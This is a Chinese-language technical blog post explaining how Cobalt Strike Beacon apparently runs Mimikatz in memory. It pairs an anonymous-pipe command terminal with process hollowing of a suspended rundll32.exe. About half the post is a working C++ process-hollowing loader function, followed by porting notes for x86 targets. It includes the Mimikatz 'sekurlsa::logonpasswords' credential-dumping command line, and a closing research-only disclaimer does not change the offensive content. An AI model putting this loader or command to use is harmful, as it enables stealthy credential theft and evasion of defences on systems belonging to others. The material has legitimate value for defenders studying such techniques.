“ 经过研究发现,Cobalt Strike 很可能通过普通的 cmd 命令终端功能,并结合傀儡进程(又称“进程镂空”)注入功能,完成内存加载执行 Mimikatz 等命令行命令的功能。”
01
—
普通的CMD命令终端
普通的CMD命令终端代码比较简单,可自行百度搜索相关代码。这里仅叙述一下过程:
使用 CreatePipe 创建匿名管道,设置读、写句柄;
使用 CreateProcessA 创建进程,用于运行 CMD 命令行程序;将匿名管道“写”句柄应用于进程的标准输出和标准错误,并立即执行进程;
循环从匿名管道“读”句柄获取 CMD 命令行程序的输出信息。
02
—
傀儡进程注入
傀儡进程注入,又称“进程镂空注入”,该技术将卸载目标进程的内存镜像,并注入新的PE镜像,并将 CPU 执行流 指向新的 PE 镜像的入口点。
主要注意三点:
PE 镜像对齐方式,由文件对齐转换为内存对齐;
一般要修复地址重定位表;
无需填充导入表,由系统自动完成。
傀儡进程注入代码可以参考下面这个不错的 github 项目:
项目描述:x64 项目,通过傀儡进程注入 x86/x64 进程
https://github.com/adamhlt/Process-Hollowing
03
—
CS Beacon 内存加载 Mimikatz
在内存加载 PE 镜像的时候,EXE 程序具有命令行参数传递的特性,也就是说正在运行的 EXE 程序的命令行参数,会传递给内存加载的 PE 镜像,所以,内存加载的 PE 镜像也同时拥有了当前运行 EXE 程序的命令行参数。
举个例子:
我们使用控制台程序内存加载 Mimikatz,控制台程序文件名为 demo.exe,控制台程序命令行是:“demo.exe privilege::debug sekurlsa::logonpasswords exit”,被内存加载的 Mimikatz 获取的命令行也是:“demo.exe privilege::debug sekurlsa::logonpasswords exit”,但是 Mimikatz 执行命令,并不检测命令行中的文件名是否是自己的文件名,它只关注后面的命令行参数,所以 demo.exe 可以正常执行 Mimikatz 命令。
而本文提到的 CS Beacon 内存加载 Mimikatz 技术,正好利用了 EXE 程序命令行参数传递这点——通过以暂停方式创建新进程 rundll32.exe,并传递命令行参数 “rundll32.exe privilege::debug sekurlsa::logonpasswords exit”,之后,将 Mimikatz 文件数据由文件对齐转换为内存对齐、修复地址重定位表,并将处理后的 Mimikatz 内存数据,导入 rundll32.exe 进程中,修改 rundll32.exe 进程的 CPU 执行流,使其指向 Mimikatz 镜像入口点,最后恢复主线程。这样,Mimikatz 命令就能成功执行了,但是我们需要 Mimikatz 命令回显,没有回显,该技术就没有意义。关于这一点,直接使用原始CMD终端的匿名管道读写句柄技术即可,没有变化,也无需改变。
总结一点,CS Beacon 内存加载 Mimikatz 技术几乎是原始CMD终端技术和傀儡进程注入技术的简单加和。
下面这个函数代码可以说明上述技术思想:
// x64 Beacon 傀儡进程注入 x64 进程
DWORD RemoteMemoryLoadExecute(const char* szCurDir, const char* cmd, const char* szExeData, string& cmdRetInfo)
{
const int len = 5120; // 5KB
char result[len] = {};
cmdRetInfo = "";
DWORD dwRead;
HANDLE hRead = NULL, hWrite = NULL;
SECURITY_ATTRIBUTES sa = {};
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return GetLastError();
}
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
if (!CreateProcessA(NULL, (char*)cmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, szCurDir, &si, &pi))
{
DWORD dwErr = GetLastError();
CloseHandle(hRead);
CloseHandle(hWrite);
return dwErr; // 进程创建失败
}
LPVOID lpLocalMemBaseAddr;
DWORD dwImageSize;
DWORD dwErr = LoadToMemory(szExeData, lpLocalMemBaseAddr, dwImageSize);
if (dwErr != ERROR_SUCCESS)
{
return dwErr;
}
LPVOID lpRemoteBaseAddr = VirtualAllocEx(pi.hProcess, NULL, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpRemoteBaseAddr == NULL)
{
return GetLastError();
}
LPVOID lpRemoteEntryAddress;
RelocateImage((LPBYTE)lpLocalMemBaseAddr, (LPBYTE)lpRemoteBaseAddr, lpRemoteEntryAddress);
SIZE_T nSize;
if (WriteProcessMemory(pi.hProcess, lpRemoteBaseAddr, lpLocalMemBaseAddr, dwImageSize, &nSize) == FALSE) return GetLastError();
SetCodeSegmentOnReadExec(pi.hProcess, (LPSTR)lpLocalMemBaseAddr, (LPSTR)lpRemoteBaseAddr);
VirtualFree(lpLocalMemBaseAddr, 0, MEM_RELEASE);
CONTEXT threadContext = { 0 };
threadContext.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &threadContext) == FALSE) return GetLastError();
if (WriteProcessMemory(pi.hProcess, (LPVOID)(threadContext.Rdx + 0x10), &lpRemoteBaseAddr, sizeof(lpRemoteBaseAddr), &nSize) == FALSE) return GetLastError();
threadContext.Rcx = (DWORD64)lpRemoteEntryAddress;
if (SetThreadContext(pi.hThread, &threadContext) == FALSE) return GetLastError();
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, 2000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hWrite);
time_t start_time = time(0);
while (ReadFile(hRead, result, sizeof(result), &dwRead, NULL))
{
string temp(result, dwRead);
cmdRetInfo += temp;
Sleep(180);
}
CloseHandle(hRead);
return 0;
}
04
—
备注
上述方法,讲述了 x64 Beacon 内存加载 x64 Mimikatz 的技术。如果要完成 x64 Beacon 内存加载 x86 EXE 命令行程序的技术,其要点主要有以下几点不同:
内存加载代码需要x86平台化,不能使用当前的基于x64平台的内存加载代码;
内存加载的PE基地址,由 threadContext.Rdx+0x10 变为 threadContext.Ebx+0x8;
内存加载的PE入口点地址,由 threadContext.Rcx 变为 threadContext.Eax;
GetThreadContext -> Wow64GetThreadContext;
SetThreadContext -> Wow64SetThreadContext。
参考项目:https://github.com/adamhlt/Process-Hollowing
05
—
参考链接
https://github.com/adamhlt/Process-Hollowing
06
—
声明
本文所述方法,仅供安全研究使用。凡擅自用于违法用途,将被追究法律责任。其违法行为均与本人无关。特此声明!
原文链接: